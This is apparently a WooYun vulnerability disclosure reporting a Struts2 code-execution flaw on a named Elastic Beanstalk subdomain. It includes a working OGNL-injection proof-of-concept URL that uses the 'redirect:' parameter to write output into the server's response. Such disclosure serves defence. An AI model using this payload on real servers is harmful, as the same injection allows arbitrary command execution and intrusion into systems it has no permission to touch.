*Form:*http://en.wooyun.org/bugs/wooyun-2013-040 *Abstract£º* AWS Elastic Beanstalk is an even easier way for you to quickly deploy and manage applications in the AWS cloud. elasticbeanstalk subdomain exists Struts2 code execution . *Details£º* poc return [/ok]: http://jewelopoly.elasticbeanstalk.com/login.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()} -- WooYun, an Open and Free Vulnerability Reporting Platform For more information, please visit http://en.wooyun.org/about.php